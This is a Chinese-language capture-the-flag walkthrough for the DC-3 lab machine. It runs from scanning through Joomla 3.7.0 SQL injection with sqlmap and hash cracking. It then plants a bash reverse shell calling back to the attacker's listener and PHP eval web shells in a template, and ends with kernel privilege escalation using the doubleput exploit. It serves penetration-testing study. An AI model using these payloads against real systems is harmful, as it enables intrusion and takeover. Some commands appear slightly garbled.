靶机介绍
这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址[1],需要更详细的资料可以参考文章1[2]、文章2[3]
信息搜集
1、 主机扫描
命令:1. Arp-scan -l

没有发现靶机IP,判断靶机没有分配到IP地址,因此先进去单用户设置网络
2、重启靶机
2.1> 启动系统后,我们按e键进入grub模式;

2.2> Ctrl +x 进入单用户模式;

2.3> 进入单用户模式了 输入 passwd就可以更改密码了,然后就可以直接用passwd命令修改root;
以上操作便是进入单用户模式下修改root密码,解决root密码忘记以及root用户被锁等需要root权限执行而root账户无法使用的问题。

修改完密码后重新启动输入新密码,就可以进入了。
用户名:root
密码:root
2.4> 退出单用户模式,按新密码重新登录,并进入编辑 etc/network/interfaces,修改配置文件;
修改网卡配置文件命令:vim etc/network/interfaces

- 重启网络服务命令:service networking restart
查看网卡信息命令:ifconfig

3、主机扫描,确认靶机IP
命令:arp-scan -l
目标主机的IP地址为:192.168.85.135
4、端口扫描,确认服务
命令:nmap -sS -sC -p- -T3 -sV 192.168.85.135
通过nmap扫描发现只开通一个80端口,并且所使用的的CMS服务是:Joomla
5、访问CD-3目标主机的80端口;

分析结果:分析可能存在sql注入,用户名枚举。
渗透实战
jooscan是一款开源的joomla漏扫
jooscan --url http://192.168.0.104

从结果总可以看到 joomla的版本是 3.7.0 和网站目录 还有登陆后台。
通过漏洞查看joomla 3.7.0的漏洞有哪些
searchsploit joomla 3.7.0
joomla 3.7.0 存在SQL注入漏洞
将42033.txt拷贝到当前文件夹,查看内容。
文档中指出可以使用sqlmap进行注入 并将参数列了出来。
sqlmap
查询出5个数据库
网站使用的是joomladb,继续查询表
users表是我们最关心的表,继续爆字段

name和password字段是我们想要的
得到了admin和Hash值
将password hash值保存成文本文件。
john
使用john破解我们得到的Hash值
得到了用户名admin password snoopy。还记得那个后台登陆的地址吗,我们试着登陆一下。

拿shell方法一:
9、进入模板,进行Web渗透
9.1> 进入网站后台管理主页面(http://192.168.85.135/administrator/index.php),具体操作如下:
点击页面右侧的“ Templates ” ——> 再点击“ Templates ” ——> 点击“ Beez3 Details and Files ” ——> 点击“ index.php ”,进入网页源码。
其中登录后台管理的用户名和密码如下:
用户名:admin
密码:snoopy


具体思路和想法总结:
【思路】
(1)用system()执行bash -c
(2)用bash发起一个shell
(3)kali监听
(4)访问index.php执行脚本
(5)反弹shell成功 ——>
(6)提权到root
9.2> 在管理页面的index.php中写入反弹shell代码,并按Save进行保存;
用system()执行bash -c的编码如下:
<?phpsystem("bash -c 'bash -i >& dev/tcp/192.168.85.133/8080 0>&1' ");?>

9.3> 在kali中输入写入nc命令,进行监听;
命令:root@kali:~# nc -lvvp 8080

9.4> 进行触发这个反弹shell(访问DC-3的默认主页);

9.5> 这时候将在kali上得到,反弹的getshell;

9.6> 获取目标主机的操作系统版本,以及该getshell的ID号;

拿shell方法二:
9、进入网站后台主页面,具体操作如下:
点击页面右侧的“ Templates ” ——> 再点击“ Templates ” ——> 点击“ Beez3 Details and Files ” ——> 点击“ index.php ”,进入网页源码。
其中登录后台管理的用户名和密码如下:
用户名:admin
密码:snoopy
写入一句话木马:<?php phpinfo();?> ——> (添加测试代码)

10、在index.php文件中加入一句话木马,并触发木马,查看PHP的详细信息;
一句话木马:<?php phpinfo();?>
测试成功
11、添加一句话木马,并用中国蚁剑进行连接;
11.1> 添加一句话木马;
添加一句话木马病毒,进行测试:
<?phpeval($_GET['cmd']);?>

11.2> 测试一句话木马;

11.2> 使用中国蚁剑进行连接;
添加一句话木马病毒,进行蚁剑连接:
<?phpeval($_POST['cmd']);?>

使用中国蚁剑进行连接;

中国蚁剑连接成功;

12、成功接入后,使用虚拟终端,并且创建反弹shell
12.1> 在kali中输入nc -lvp 1234 进行监听;
命令:nc -lvp 1234

12.2> 在中国蚁剑中点击“虚拟终端”,并进行连接;
反弹shell成功!!!!
提权
查看版本当前操作系统发行版信息
cat /etc/issue
看到当前系统是 Ubuntu 16.04,先使用本地漏洞进行提权。
使用39772进行提权
打开39772这个文件,可以看到39772使用方法和说明,文件的下载地址[4]

由于得到DC-3靶机的shell内无法下载github的39772文件;

10.2> 通过Firefox浏览器进行下载,并下载到下载文件夹中;


10.3> 并将文件提取到桌面;

11、在kali上用python开启简单的服务器功能;
python -m SimpleHTTPServer 9000
用python开启简单的服务器后,在以获得的DC-3的getshell下载exploit.tar文件;

12、解压文件,并进行提权操作
12.1> 解压exploit.tar文件;
命令:tar -xvf exploit.tar
12.1> 执行./complie.sh和./doubleput文件;
执行如下命令:
tar -xvf exploit.tar./compile.sh./doubleput



从getshell到shell提权成功!!!
参考资料
靶机下载地址: http://www.five86.com/dc-3.html
[2]参考文章1: https://blog.csdn.net/weixin_45116657/article/details/101544988
[3]参考文章2: https://blog.csdn.net/qq_45924653/article/details/107436226
[4]提权文件下载: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip







